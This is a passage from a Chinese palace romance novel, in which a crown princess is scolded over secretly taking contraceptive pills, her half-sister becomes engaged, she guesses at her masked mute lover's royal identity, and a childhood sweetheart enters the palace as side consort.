他眸眼含笑地看着江箐珂,眼神意味不明。 “找抽是不是?” 江箐珂没了耐心,跟夜颜较起了牛劲儿。 她咬牙切齿地威胁:“再不放手,信不信回头我抽你。” 夜颜逗弄了她片刻,突然松开双手。 倏地,那碍眼的狐狸面具就这么被江箐珂给摘了下来。 她拿着面具,站在那里看着夜颜的脸,呆愣愣地看了好半晌。 夜颜一瞬不瞬地回视着她,眼里噙着得意的笑。 片刻,江箐珂气得失笑。 她抡起狐狸面具就朝夜颜的脸扔去,却被他偏头躲过。 “你敢耍本宫,找抽是不是?” 江箐珂本是又气又恼的,却又觉得好笑至极,连发起火来都憋不住笑。 丫的里面还带了一层面具! 一个只露着眼睛和嘴巴的面具,可以说是精心改良后的面纱。 黑黑的一层布,紧贴面部,钩挂在耳后,严严实实地罩住了眼睛以下的大半张脸,只露个嘴巴,还是看不全他到底长个什么德行。 就说他葫芦里没卖好药嘛。 这做派真是幼稚又滑稽。 江箐珂捂着眼,无奈笑得抖肩。 可笑过之后,她又气得很。 挥起拳头,对着夜颜的胸膛的就是一顿乱捶,还用水扬他。 夜颜则任由她打着、骂着。 一双异瞳潋滟生春,情意绵绵,红唇皓齿,笑容明耀,美则美矣,最是人间一抹独特的男色。 坚硬粗壮的手臂绕过江箐珂那捻细腰,强势地将她圈入自己的身影之下。 健硕的胸膛紧贴着欺霜赛雪,心跳、体温,透过肌肤传递到彼此的体内。 江箐珂伸手要摘掉他脸上的那层布,却被夜颜将双手扣在了她的身后。 紧紧的,无法挣脱。 夜颜拖住她的腰,俯首吻下。 江箐珂身子后仰,避开了那要撬齿而入的舌尖。 他眼巴巴地凝视着她,身体炙烫,气息紊乱。 深褐色的瞳里是她,水蓝色的瞳里也是她。 她被困在那双妖冶魅惑的眼底,被情与欲缠绕包裹着。 亲吻换了路径,突然落在了那一片欺霜赛雪之中,给人来了个措手不及。 轻吻、挑弄。 再坚强的意志,也在瞬间被击溃。 江箐珂面色潮红,仰着头大口喘息。 夜颜却借着烛光细细瞧着她的模样和神情。 一池春水荡漾,浸了水的花瓣随着水波而动,数片接着数片,荡到池外。 江箐珂发现夜颜这货真是鸡贼死了。 平日里戴着狐狸面具,都要等熄灯后才能同她亲热。 现在他的面纱改良了,随时随地便可大小亲,还方便他打量自己动情动欲时的狼狈。 气死了,气死了。 江箐珂的气最后都成了夜颜身上的一个个咬痕。 翌日。 江箐珂又乔装出宫去看江止。 可到了镖局,却不见江止的影子。 不仅不见他的影子,发现镖局里少了好几个人。 江箐珂随便拉了个镖师打听道:“请问,刚来镖局不久的那个江止去哪儿了?” 镖师道:“江老弟啊,今早城门一开,便跟着大伙出镖了。” 江箐珂讶然:“这么突然?” 那镖师回:“听说是昨晚突然来的生意。” 江箐珂追问。 “那何时能回来?” “那镖是要送到南边的,路程遥远,估摸着......往返也得一个月吧。” “一个月?” 江箐珂惊得声调都跟着高了八度。 “什么破镖啊,非得他送?” 镖师被江箐珂的气势吓了一跳,“是朝廷给的大镖,可马虎不得,镖局里好多镖师都跟着去了。” 江箐珂不解。 “朝廷的镖自有官兵护送,何须找你们镖局来送?” 镖师摇头表示不知。 “银子给得到位就接了,都是赚钱糊口养家的,谁管那些。” 用同房换来的出宫资格,结果刚跟江止玩一天,江止人就离城了。 还得等一个月才能再见到。 江箐珂越想越气,也越想越觉得事有古怪。 朝廷的镖怎么偏巧就找到了佰顺镖局,还是在她找江止玩儿的当晚。 握鞭子的手攥得紧紧的。 这事儿,铁定跟李玄尧有关系。 第59章 秘密被戳穿 东宫。 等李玄尧下朝,江箐珂便又寻到了书房。 她压着火气,试探性地同李玄尧道:“我阿兄今日出镖,要一个月才能回来。” “是吗,什么镖要走那么久。” 李玄尧悠哉悠哉地喝着茶,泰然从容得让人看不出一点破绽。 “什么镖,殿下心里不清楚?” 江箐珂把龙刺鞭往茶桌一放,冷着脸坐在他对面,所有情绪都表现在脸上。 茶盖轻撇茶叶,李玄尧垂眸不言。 江箐珂盯着了李玄尧默了半晌,不解道:“妾身出宫见见亲人而已,想不明白殿下为何要把阿兄给支走?” “我白日里找阿兄玩儿,晚上信守承诺,与夜颜同房给殿下生孩子,明明是我好你好大家好的事儿,殿下为何就见不得妾身好?” 李玄尧似乎也懒得装了。 润了口茶,目光沉沉地看向江箐珂,咬字反问道:“信守承诺?” 冷冷的一声哼笑,透着几分嘲笑。 “那前些日子,喜晴委托宫里的小太监在外面买的避子丸算什么?” “想必爱妃无论是昨日,还是今早,都吃了吧?” 江箐珂心里咯噔一下,怔怔然地看着李玄尧。 他竟然早就知道? 本是来质问李玄尧的,现下反倒被问得哑口无言。 秘密被揭穿,有种无地遁形的羞赧和尴尬,江箐珂的后背额头相继热出一层细密的汗来。 李玄尧见她被拿住了把柄,没了气势,便严声厉色地说教起来。 “江箐珂,今日本宫就给你上一课。” 他手指敲着桌面,一字一句。 “这里是皇宫,不是西延将军府那只有几个女子的后宅,也不是西延那满是直爽儿郎的军营。” “皇宫不比西延,不像你们在那里有话直说,有仗便打。” “这里的仗没有硝烟战火,没有刀枪箭羽,有的都是龌龊肮脏的阴谋算计。” “皇宫里到处都是眼睛。” “有本宫的眼睛,惠贵妃的眼睛,淑妃的眼睛,乃至父皇的眼睛,甚至还会有朝中大臣的眼睛。” “你想在这宫里守住一个秘密?” 反问的哼笑声中,夹带着几许无奈何和讥讽:“很难。因为,人心叵测。” “你该庆幸,你从宫外偷买避子丸的事,只是被淑妃和本宫的人知晓而已。” “你还该庆幸,被人知晓的秘密......只是个避子丸而已。” “换成别的,还不知会招来什么祸事,给人送上什么把柄。” 江箐珂也知皇宫里人心险恶,要事事小心。 可没想到,宫里要比她想象的还要江湖。 她和喜晴自以为行事已经很谨慎了,找的小太监也都是刚入宫没多久的。 却不曾想竟被两个人发现。 心里的那股子傲气受到了打击,说话的气势都不由地弱了几分。 她疑惑道:“殿下既然早已知晓,为何到现在才说?” 李玄尧扬眉一哂,笑道:“爱妃不是一直也没跟夜颜同房吗?” “且此事就算传出去,对本宫只有好处,没有坏处。” “都要用避子丸了,不反倒能替本宫辟谣了吗?” “到时招惹非议的也只会是爱妃你。” 是时,太傅白隐行至书房门外。 江箐珂没了叫板的底气,便带着喜晴起身离开。 她有点懵。 离开书房时,整个人都还是懵的。 待她走到垂花门下时,李玄尧站在书房门前叫住了她。 “江箐珂,在这宫里,你也好,徐才人和张良娣也罢,单纯幼稚都是致命的,劝你打起十倍的精神来,别给本宫添倒忙。” 江箐珂心气不顺地白了李玄尧一眼,沉默转身。 回凤鸾轩的路上,曹公公跟在江箐珂身侧,又低声说劝了几句。 “恕奴才多嘴。” “避子丸一事,无论是殿下,还是夜颜公子,之所以睁一只眼闭一只眼,除了有其他考量外,实也是不想强迫太子妃,怕您日后怨恨殿下罢了。” “殿下就想着待太子妃哪一日想通了,愿意与殿下一心,自会扔了那避子丸。” “另外,关于江大公子的事,恕老奴再多一句嘴。” “您与他毕竟不是血亲,在西延倒无妨,可在京城里,这么多眼睛躲在暗处瞧着呢,走得太近,免不得要惹来非议。” 曹公公苦口婆心,句句说得真诚。 “且上次刺杀太子妃不成,那幕后之人也定在另寻机会。” “少出宫,危险便少几分。” “还望太子妃能体谅太子殿下的良苦用心啊。” “奴才在这宫里也几十年了,说句实在话,这皇宫就是个吃人不吐骨头的地方,太子妃日后行事且要谨慎着。” “若待执掌六宫之时,那就不是与继母、自家妹妹争斗那么简单了。” “到时,太子妃要斗要防的可是后宫所有的女子,乃至那些那女子背后的母家势力。” “遂,殿下今日的话虽有些刺耳,可那也是给太子妃提个醒。” 江箐珂虽然傲气且脾气不好,但也听得懂好赖话。 她听得出来,曹公公的话,句句发自内心。 而她也听进去了。 江箐珂顺着抄手回廊,朝着凤鸾轩而去。 那刺龙鞭被她拖在身后,像条被驯服的蛇,软塌塌地在地上爬行,跟她这个人一样没有气力,浑身都散发着一股挫败感。 江箐珂开始重新审视起这座宫来,并仔细留意着从她身边经过的每个宫婢,每位太监。 看着那一个个微妙的表情和复杂的眼神,豁然有种陷在深渊之中的窒息感。 这里真的跟西延很不一样。 这种感觉该怎么形容呢? 就好像...... 孙悟空无论怎么翻跟头,怎么折腾,都逃不出如来佛主的五指山,逃不出宿命的镇压,且还成了佛主眼中的跳梁小丑,狂妄自大,不知天高地厚。 可笑得很。 午后,江箐瑶得知她在宫里,又来她屋里瞎臭美。 江箐珂心情不佳,颓丧地窝坐在摇椅里,任由江箐瑶在旁边叽里呱啦的。 看着江箐瑶的那傻白甜的德性,又想起今日被李玄尧揭穿且训责时的狼狈,江箐珂忽然觉得自己跟江箐瑶比,不过是五十步笑百步,也没机灵聪慧到哪儿去。 哎。 江箐珂叹了口气。 真是不是一家人不进一家门。 都是同一个爹生的,那问题肯定出在爹身上了。 她这个西延来的土包子,真的就斗不过京城里长大的鸡贼们? 第60章 江箐瑶的婚事定了 江止出镖第五日,继母张氏来了凤鸾轩。 江箐珂瞥了她一眼,冷嘲热讽道:“张姨娘离开西延有些日子里,就不怕父亲大人温香暖玉在怀,早把你给抛脑后去了?” 也不知张氏是故作轻松气江箐珂,还是真轻松。 “那不更好,有人替我伺候你爹爹,我还省得闻老人味儿了呢。” “你爹啊,可不如当年了,床事一次,还不如我泡澡时间长。” “反正江家日后都是我好大儿江昱的,就由着那两个小妖精争一个老头子去吧。” “我呀,现在就想给我的瑶瑶定门好亲事,其他的都不重要。” 张氏看着江箐珂,笑得得意。 “你的那点小心思啊,这次是落空了。” 江箐珂的算盘算是崩珠子了。 她嘴角抽动了几下,似笑非笑道:“张姨娘还真是......人间清醒啊。” 张氏故意拖长语调气江箐珂。 “多谢夸奖。” 两人夹枪带棒地聊了片刻,张氏终于放下架子,把话题拐到了江箐瑶的婚事上了。 继母张氏这人精明得很,这些日子一直周旋与惠贵妃和淑妃之间。 她表面上跟两位宫中贵人都应承着,私下里却散银子,跟宫中的太监、宫婢打听十皇子和十一皇子的事,想给江箐瑶定门靠谱的婚事。 眼下有些拿不定主意,便想问问江箐珂的意见。 “这十皇子背后母家家大势大,箐瑶嫁给十皇子,一生富贵荣华,定是吃穿不愁,过人上人的日子。” “可就是,十皇子早已娶了王妃,箐瑶嫁过去那就是妾室。” “而十一皇子倒是刚开府封王,尚缺一位王妃。” “只是,淑妃的母家......到底是个清流世家,比不得惠贵妃的母家。” “且那十一皇子听说是个胸无大志之人,整日只知溜猫逗狗。若是箐瑶嫁给十一皇子,当王妃虽好,可这十一皇子本身不争气,若再无母家帮衬,只靠那点供养的亲王月俸,日子未必能好过。” 张氏停了下来,看向江箐珂后,软着性子同她道:“你作为箐瑶的长姐,同她争争抢抢这么多年,如今嫁了东宫,成了太子妃,又给你父亲弄了个平妻回去气我,如今已是赢家,就不能为你妹妹寻个归宿,替她出出主意?” 撇出过往恩怨不说,张氏对江箐瑶的宠爱,江箐珂是都看在眼里。 她羡慕江箐瑶,也嫉妒江箐瑶。 母亲死得早,她都忘了被母亲疼爱的滋味是怎样的了。 只能看着张氏对江箐瑶的方式,来想象母亲疼爱她的样子。 越是这样,江箐珂有时便越恨张氏。 若非她的存在,母亲怎会狠心丢下她和二哥哥走了。 收回思绪,江箐珂有一搭没一搭地回道:“出什么主意?” 说了半天都白说了,张氏气得差点按人中。 “你妹妹的婚事啊,以你之见,到底是该给十皇子当侧妃,还是该嫁十一皇子当王妃?” 江箐珂反问:“就非得从这两个皇子中选吗?” 张氏蹙眉寻思了下,叹了口气。 “箐瑶跟你较着劲儿,太子殿下推荐的几位世家公子,她一个都没瞧上。” “而除了十皇子和十一皇子外,其他皇子也无意要娶她啊,总不能我们上赶子投怀送抱吧,那多丢身价。” 说完,张氏又问:“太子妃可有好的人选,愿意给箐瑶牵桥搭线?” 就在这时,江箐瑶兴高采烈地从外面跑进来。 “母亲,母亲,那两个皇子女儿都不嫁了。” 江箐珂和张氏同时看向江箐瑶。 张氏不解道:“昨晚不还猴急猴急地要当王妃吗,这功夫怎么就不嫁了?” 双手捧着霞红的小脸蛋儿,江箐瑶俏中带羞地笑道:“母亲,女儿有心上人了,女儿要嫁心上人。” “谁啊?” 江箐珂和张氏难得异口同声。 江箐瑶抬手指着外面,喜滋滋回道:“我刚才在后花园里碰到一位公子,打扮得跟竹子似的,但生得特别好看,温文尔雅,清风霁月,简直就是我的梦中情郎,天选夫君。” 江箐珂一听“竹子”二字,就知道江箐瑶这是看上了谁。 “阿姐可见过那位竹子公子?” 江箐珂摆出一副难评的表情。 “你俩不合适,死心吧。” 江箐瑶歪头想了想,跟江箐珂反着来。 “你说不合适,那就肯定合适。” “阿姐不愿告诉我那竹子公子是谁就算了,我自会就寻别人问。” 话落,江箐瑶将张氏从椅子上拽起,急不可耐道:“母亲,那公子应该还在后花园,快跟我去瞧瞧,可比那两皇子好看百倍千倍。” ...... 得知江箐瑶心悦白隐,李玄尧甚是欢喜。 为了撮合江箐瑶和太傅白隐,李玄尧经常为二人制造机会,半个月过后,两人的亲事非常突然地被敲定了。 江箐瑶定亲的第二日,便来江箐珂眼前炫耀。 “我跟白太傅订婚了,明年开春就成亲。” 午后的秋阳从大敞的轩窗外斜照进来,江箐珂坐在摇椅里晃悠,一口接一口吃着喜晴给她扒的核桃,整个人清冷淡漠,也不接江箐瑶的茬。 江箐瑶走到江箐珂的妆奁前,伸手拿起里面的各种价值不菲的珠宝首饰,一一在头上、手上试戴了一遍。 她看着铜镜里的好姿色,同江箐珂道:“我这个妹妹要成亲了,你当长姐的,不该送点什么给妹妹我做添妆嘛?” 江箐珂扯唇嗤笑了一声,懒声嘲讽。 “本宫怎么就那么爱你呢?妹妹脸粉扑多了吧。” 江箐瑶撇了下嘴,将头上的牡丹簪子丢到了妆奁盒里,走到江箐珂的面前奚落她。 “阿姐别以为嫁了东宫就得意,以后太子殿下登帝后,那必是后宫佳丽三千。” “从来只闻新人笑,谁人会听旧人哭。” “阿姐虽一人之下万人之上,可到时也只能独守空房,在夜里寂寥流泪,守着那虚无缥缈的荣华富贵罢了。” 江箐珂也不饶人,语气刻薄回怼。 “嘴还是一如既往地贱,嫌我嫁得不好,你当初哭天喊地抢个什么劲儿?” “等我当皇后,第一件事,就是命人把你舌头割了。” “看你还有嘴在我面前炫耀臭嘚瑟不?” “你敢?”江箐瑶凶道:“我去告爹爹。” 江箐珂无语得笑出了声。 “爹爹以后见了我都得跪拜,你告爹爹有个屁用?” 江箐瑶愤愤然道:“小人得意。” “你想得意还得意不了呢。” 江箐瑶继续炫耀。 “阿姐就算不想面对现实,那也得承认。论嫁人这事儿,妹妹我赢了。” “能找个一心一意待自己好的如意郎君,比与许多女子共事一夫不知要幸福多少。” 江箐珂嘲笑她想得比自己还幼稚天真。 “芳华易逝,红颜易老,等你夫君嫌你人老珠黄,纳妾收通房,到时还不如我当皇后爽快呢。” “最起码,我权势富贵在握,想要什么就要什么,以后说不定还能养好几个面首玩玩呢。” 江箐瑶跺脚,噘嘴反驳。 “白隐清风霁月,为人端正憨厚,他一定不会的。” 江箐珂挑眉邪笑。 “咱爹爹当初也说不会,不还是在外面养了你娘当外室,生了个嘴贱愚蠢的你?” “你......” 江箐瑶被气得面色涨红,梗着脖子看了江箐珂半天,硬是没想出回怼的话来。 最后只能眼尾泛红,气呼呼地离开了凤鸾轩。 喜晴看着江箐瑶的背影,捂嘴笑道:“活该,让她嘴贱。” 第61章 是不是五皇子 自打被李玄尧用现实碾压了几句后,一连几日,江箐珂都提不起情绪来。 她感觉自己像是被捆住了手脚,关在这偌大的金丝笼里,日子过得枯燥又没劲。 江箐珂突然羡慕起江止来。 天南海北地押镖送镖,吃不同的菜,见不同的人,看不同的风景,那自在日子才最适合她。 李玄尧这几日也不知在忙活什么,连带着夜颜每晚都很晚才来凤鸾轩。 江箐珂虽然因为江止的事儿在跟李玄尧耍脾气,不让夜颜上床,可她每日还是会盼着夜颜来。 而今晚,夜颜来得倒挺早。 闲着无事,江箐珂便拉着他下棋。 只是今夜这盘棋,两人都下得心不在焉。 夜颜仍带着那狐狸面具。 江箐珂虽看不到他的表情,但是能察觉到他有心事。 慢慢腾腾地落了个白子后,江箐珂状似随意地同他闲聊着。 “听闻京城百姓最近都在谈论穆大人平反回朝之事。” 夜颜微微点下了头,算是给了回应。 随后他捏着黑子,也慢慢腾腾地落在了一处。 江箐珂瞧了一眼那枚黑子,看出来夜颜真的是没动脑子陪她下棋。 她捏着手中的棋子迟迟不放。 斟酌了半晌,在落棋时,终于问出了她琢磨了数日的疑问。 “夜颜,你不觉得自己跟殿下、长公主长得有几分像吗?” 夜颜撩着袍袖,举止优雅地去拿下一枚黑子,对江箐珂的话仍无太大的反应。 左右已经开口聊起此事,江箐珂便放开胆子问道:“你该不会是文德皇后生的五皇子吧?” 拿起棋子的手突然僵滞在半空,狐狸面低垂,静静听着江箐珂接下来的话。 “你并没有在儿时溺亡,为了保护你,文德皇后故意制造溺亡假象,然后将你隐藏起来。” “因你天生异瞳,是不祥之兆。” “而在这宫里,凡事只能瞒得了一时,却瞒不了一世。” “文德皇后担心被世人知晓,遇上个灾年祸事,你作为不祥之身,便会被拖出祭天祭地。” “我说的可对?” 也不知是不是被说中了秘密,还是觉得她的猜测很荒唐,夜颜缓缓抬眸,隔着那两条眼缝儿看了她好半晌。 可惜江箐珂看不到他的眼睛,没法从微小的表情来判断夜颜的所思所想。 殿内的静默持续了片刻,夜颜提笔在折册子上写了答复。 【待时机到了,定会同你坦白一切。】 都这么说了,江箐珂也不好再继续逼问下去。 她乖顺点头,落棋破了夜颜的一个棋眼。 夜颜未再拿起黑子,而是拍了拍江箐珂的手。 江箐珂抬头,看着他放慢动作打着手语。 “无论……” 她跟着夜颜的节奏,一句句地说出他要表达的意思。 “我是谁……” “可不可以……” “不要……” “厌恶我?” 夜颜颔首,表示她的解读是对的。 唇角微微翘起,江箐珂低下头,口是心非道:“那得看你表现。” 她心里怅然。 不知道自己能不能等到夜颜所说的那个时机。 也不知道,有一天,她会不会为了夜颜,情愿将自己困在这座大笼子里。 这日子先过一天看一天吧。 …… 一转眼,仲秋之夜到了。 可惜江止还要过几日才能回京城,注定是没法一起吃顿团圆饭了。 宫里照常办了席宴。 大殿之内,除了衡帝及后宫妃嫔、皇子公主外,还有朝中四品以上的大臣及其家眷。 身为九五至尊的衡帝已是迟暮之年。 一脸病容的他坐在一群千娇百媚的妃嫔中,不见风光无限,只有另样的悲凉和孤寂。 花开有落时,英雄会暮年。 白发苍苍的衡帝,一双眼睛虽然犀锐威凛如常,却压不住他病躯的疲惫和虚弱。 江箐珂发现衡帝总是会时不时地盯着李玄尧看,有时也会端详长公主李鸢。 眼神温柔慈和,仿若是在透过他们看故人。 思念满溢,忧伤在他眼底静静流淌。 江箐珂想衡帝应是很爱文德皇后吧。 爱屋及乌,连带着他们一起生的孩子,在他眼里都是个宝儿。 她看着看着,那衡帝似有所感,眼神儿就飘了过来。 江箐珂立马低头喝酒,装作没偷瞧。 衡帝沉声开口。 只是病了多日的他,说起话来气息有些虚弱,让人感觉好像活不久了。 “太子妃嫁给太子已有半年之久,至今都还未给朕怀个小皇孙,你这酒……还吃得下?” 江箐珂立马起身下跪请罪。 “父皇恕罪,是儿臣肚子不争气。” 衡帝咳嗽了几声,虚弱地笑道:“在朕看来,不是你肚子不争气,是你偷服的避子丸太争气。” 大殿内登时哗然一片。 众人交头接耳,皆用异样的眼光看着江箐珂。 龙杖用力敲了下地面,大殿登时肃静一片。 衡帝冷声质问:“怎么,太子妃是厌恶我们李家的血脉不成?” 当着众人的面,突然将此事拿出来说,衡帝的用意,江箐珂多多少少猜到了。 “儿臣冤枉,请父皇息怒。” 江箐珂五体投地,惶恐道:“儿臣偷服避子丸只是……只是……” “只是什么?”衡帝冷声问道。 江箐珂硬着头皮编了个谎。 “儿臣刚嫁给太子殿下没几个月,正是蜜里调油的时候,儿臣怕有了身孕,殿下……会与儿臣疏远,宠幸东宫里其他的妹妹。” 这话懂的人都懂。 女子一旦有了身孕,便是其他妾室通房分宠之时。 世家大族,有多少正妻为了固宠,会让自己房中的女婢侍奉夫君,防止夫君去别的院子里寻欢。 江箐珂的谎撒得也算合情合理。 衡帝微怒道:“别忘了你的本分,与太子恩爱固然是好,但绵延皇嗣才是太子妃的首要职责。” 江箐珂配合道:“儿臣知错了,儿臣今后定会努力。” 衡帝最后又道:“太子妃偷服避子丸,本为欺君之罪。但念在你初入宫中,尚是少女心性,朕就罚你月俸,何时肚子争气了,月俸何时再发。” 江箐珂心里骂天骂地,脸上却还得摆出一副感恩戴德的表情。 她磕头叩谢:“父皇恩慈,儿臣谢父皇。” 宴席散后,李玄尧被衡帝传召而去。 在回东宫的路上,江箐珂无意瞥见那个小太监八哥儿。 他与站在宫道边上,与其他宫人一同躬着身子,给她让路行礼。 不知为何,江箐珂每每瞧见这个小太监,总有种似曾相识的感觉。 她命轿撵停下,将那小太监叫了过来。 借着月色和宫灯,江箐珂从头到脚打量了一番。 身量跟李玄尧差不多,但相对来说要比李玄尧壮实一两圈。 虽是是个太监,可长得眉清目秀,温文尔雅,眼波流转间都透着股贵气。 也不知是哪家贵公子入宫做了太监,甚是可惜。 “你叫八哥儿?”她问。 “回太子妃的话,奴才是叫八哥儿。” 他声音清润温和,如玉石相撞,很是抓耳。 “听说,你以前在太子殿下身边做过事?” “正是,奴才有幸侍奉过太子殿下。” “多大了?”江箐珂问。 “二十一了。” “几岁入的宫?” 八哥儿头压得极低:“记不大清了,只记得六七岁起便在宫里做事了。” “以前都在哪个宫里做过事?” 第62章 很大很大声 八哥儿恭敬回道:“太久以前的事了,奴才记大不清了,只记得十几岁后被安排到太子殿下身边做事。” 八哥儿长身玉立,目光炯炯,甚有习武之人的精神头儿。 除了时刻保持着卑微的奴才之态外,言语从容沉稳,神色不卑不亢,江箐珂竟有种同李玄尧说话的错觉。 “看你这身板儿,应该是学过功夫吧。”。 八哥儿低头回:“因要保护太子殿下,曹公公便命奴才跟着谷丰、谷羽他们一起学了些几年功夫。” “那还挺好。” 江箐珂语气稀松而平常地道:“有功夫护身,在宫里便没人敢欺负你了。” 八哥儿温润一笑。 “谢太子妃忧心,并无人欺负奴才。” 虽然没聊几句话,可江箐珂却觉得跟这个小太监很是投缘。 许是他身上有种似曾相识的熟悉感吧。 江箐珂同一旁的喜晴示意,喜晴立马掏出一个银锭子,递给了八哥儿。 “太子妃赏你的,快收下吧。” 轿撵重起,继续朝着东宫的方向而去。 江箐珂抬头望了望空中的那轮皎月,转头又朝走过的宫道望去。 只见八哥儿仍站在那处,浸在一片银白色的月光中,静静地守望着她。 见她回首瞧他,八哥儿甩了下手中的拂尘,朝她遥遥行了一礼。 微凉的夜风拂面,毫无由来的,有种难以言明的悲戚从那处随风而来,让人心头为之浮起几许酸涩之意。 月色皎皎,八哥儿转身朝着衡帝的养心殿而去,带着他脚下那道长长的影子。 回到凤鸾轩时,夜颜已在寝殿里等候多时。 今日是仲秋之夜,正是京城热闹之时。 江箐珂前几日便同夜颜约好今天要一起出宫,去咏月坊逛庙会。 咏月坊的西南方有一处月老庙。 他们来的时辰较晚,月老庙里人群早已散去。 月老庙里有一棵连理树,而树上则挂满了祈愿的红丝带。 秉持着来都来了的心态,江箐珂也没能免俗,拉着夜颜买了两根红带子要许愿。 夜颜个子高,垫着脚尖,长腿长手地将那愿望系得高高的,让江箐珂根本瞧不见上面写了什么。 待寻了借口支开夜颜后,她甩出鞭子勾住那高高的树枝,将夜颜的红绸带连着树枝一起折了下来。 偷瞧过后,她又给绑回了枝上。 回宫的马车里,江箐珂歪头靠在夜颜的肩头上,捏着夜颜的手指若有所思地玩儿着。 不一会儿,她突然开口。 “我都听到了。” 宽阔的肩头微动,夜颜侧头看她。 似是不解她这没头没脑的一句话。 于是,江箐珂凑到夜颜的耳边小声喃喃。 “我听到了,你叫我小满。” “在你心里,很大很大声。” “耳朵都要被你震聋了,下次叫的时候小点声。” “所以,夜颜,你的愿望早就实现了。” 夜颜喉结滚了滚,头靠着头,反握住江箐珂的手。 握得很紧很紧。 半晌,他打了个手语问她写了什么愿望。 江箐珂却耍起赖来不肯说。 她知道,夜颜若想知道她许了什么愿望,有的是办法知道。 次日。 如江箐珂所料,夜颜拿到了那条红色绸带。 一旁的李玄尧探头瞧了眼上面的字,啼笑皆非道:“不愧是她。如此粗鄙,与穆汐和徐才人的贤良温婉比起来,当真是差远了。” 夜颜笑了笑,不以为然。 反倒将那写着“摘此绳者狗也”的红绸带缠系在了腕间。 这狗,他愿意当。 * 层林尽染,宫中秋意渐浓。 清风拂过梢头,卷着枫叶如蝶般纷飞而落。 此时人间秋色正好。 早晚虽清凉冷人,可白日里的日头晒在身上却刚刚好,正适合窝在摇椅里晒太阳。 江箐珂迷迷糊糊地要睡着时,喜晴又大惊小怪地跑了回来。 “太子妃,有大事。” 未等喜晴站稳脚,禀告是何事时,江箐瑶又眉开眼笑地跑到了凤鸾轩。 “江箐珂,你完了你!” 刚要睡着就被人吵醒,心情很是不美妙。 江箐珂扯下珠光宝气的眼罩,懒洋洋睁开一只眼,不耐烦地瞥了两人一眼。 “一个个大惊小怪的,哪里像是从西延将军府出来的样子。” 她重新蒙上眼罩,声调慵懒微哑:“什么大事?莫不是曹公公下蛋了?” 喜晴和江箐瑶争先开口。 “皇上下旨,封穆汐为太子侧妃,明日入宫!” “太子殿下的青梅要入宫跟你争宠了!” 两人说的都是一件事,但是心情不同。 喜晴偷偷剜了江箐瑶一眼,讨厌她的幸灾乐祸。 江箐瑶喜滋滋地看着江箐珂,一副等着看好戏的姿态。 可江箐珂却是毫不在意。 她只是有点不理解,李玄尧都鸡飞蛋打了,穆汐到底还图他啥? 是图他软而无力,还是图他可以当闺房姐妹? 父亲都平反回朝了,她嫁个正常人,不是挺好的吗? “知道了。” 江箐珂摆了摆手,示意她二人哪凉快儿哪呆着去。 江箐瑶不解,围在江箐珂身边小嘴叭叭地问:“阿姐都不急吗?” “穆侧妃跟太子殿下自小便有情意,她入东宫为侧妃,太子殿下可就不会再宠你了。” “你就不嫉妒?” 江箐珂懒声更正道:“叫我太子妃,再敢直呼本宫大名或者叫我阿姐,你看我抽不抽你嘴。” “你敢!我写信告爹爹。” 没事儿就知道找爹。 江箐珂回呛。 “告去,隔着十万八千里,咱爹是将军,又不是美猴王,一个筋斗云能翻到京城来?” 江箐瑶贱兮兮地威胁。 “咱们都长大了,吓唬你自然不能用以前的法子。” “我要写信告诉爹爹,你对我不好,让爹爹握住兵权,把五十万兵权给我做嫁妆,坚决不给你和太子殿下。” “到时,看你对太子殿下还有没有用,还有没有底气跟我耀武扬威?” “反正以后将军府和江家军都是我亲弟弟的,你完了你,江箐……” 江箐珂摘下眼罩,倏地从藤椅上站起。 她怒目作势要抽人,吓得江箐瑶把最后一个字吞回肚子里,脚底跟抹油似地转身就跑。 “白太傅约我出宫玩儿,我,我还有事,先走了。” 江家人不管男的女的,自小便要习武,样样兵器都得学一遍。 江箐瑶也不例外。 只是有继母张氏对她异常宠爱,看不得江箐瑶吃苦,天天摔摔打打,汗流满面地扎马步,练打拳,在练功这上便没那么严苛。 所以江箐瑶虽有点功夫,却打不过江箐珂。 也只能当当纸老虎,在她面前臭嘚瑟一会儿,斗不过她时就拉出父亲给她当靠山,吵不过就跑。 …… 隔日,那位慕容熹终于守得云开见月明。 她褪掉男儿装,摘掉面具,正式恢复了穆汐这个女儿身。 吉日吉时,她被抬入东宫,成了李玄尧的太子侧妃。 穆汐入宫当日,便来给江箐珂叩礼敬茶。 之前已经多次打过照面了,是以两人也没有什么生疏感。 倒是穆汐的女儿装扮,让人眼前一亮。 柳眉凤眸,桃花面,一抹红唇百媚生。 温婉娴静,聪慧沉稳,极具大家风范。 江箐珂打心眼里觉得,这太子妃之位当该由穆汐这样的女子来坐。 第63章 反正她那晚是真的 首辅穆大人是李玄尧的第一位恩师,穆汐又是同他一起长大的青梅竹马。 作为太子侧妃,她嫁入东宫的初晚,无论是排场,还是重视度,自是要高于张良娣和徐才人的,万万不能亏待她的。 虽受侧妃级别限制,用不了大红色,可梧桐苑内“囍”字却贴得随处可见。 毋庸置疑,今晚李玄尧定是要与穆汐洞房的。 于两人来说,是相当重要的一夜。 太监、宫婢们端着大大小小的物件,进进出出,忙忙碌碌,连凤鸾轩这边都感受到了那边的热闹和喜庆。 左右跟自己没半点关系,江箐珂便盘腿坐在蒲团上。 她拿着削刀,全神贯注地做着竹哨子,顺便等她的夜颜来。 等啊等啊,等到哨子都快做好了,夜颜才来。 喜晴极有眼力见地悄声退下,又为两人带上了殿门。 江箐珂侧头白了夜颜一眼,话里带着点小脾气。 “你怎么不等公鸡打鸣时再来?” 夜颜似是出息笑了笑。 他踱步走近,不拘小节地紧挨着江箐珂席地而坐。 见她手里的竹哨子,便好奇地抽过去瞧了瞧。 他比划了一下,问江箐珂为何做这个。 “送你啊。” “不过还没做好。” 她将哨子夺回来,又拿着刻刀认认真真地刻小孔,并低头嘟囔着。 “谁让你是个可怜的大哑巴。” “等哨子做好后,你就带着,以后身陷险境无人发现时,便用力吹这个哨子。” 江箐珂示范地吹了一下,尖锐的哨声响彻寝殿。 她笑盈盈地看向那个狐狸面,甚是笃定道:“总会有人听到哨声来救你的。” 夜颜没有再比划什么,手肘搭在膝盖上,两指支着太阳穴,透过那两条狭窄的眼缝,定定地瞧着江箐珂。 江箐珂刻着刻着,鼻子微动,像个小狗似的,嗅着味儿闻到了夜颜身前。 衣服、发丝干爽没有水气,身上也还是他特有的香气。 就是那狐狸面具下隐隐有酒气随着吐息散出。 “你喝酒了?”江箐珂问。 夜颜点头,怕解释不清楚,从怀中掏出炭笔和折册子提笔写给她看。 【殿下大喜之日,刚刚同我们喝了几杯。】 “你们?”江箐珂追问:“还有谁?” 【谷丰、谷俊、谷羽和谷昭,还有其他几名暗卫。】 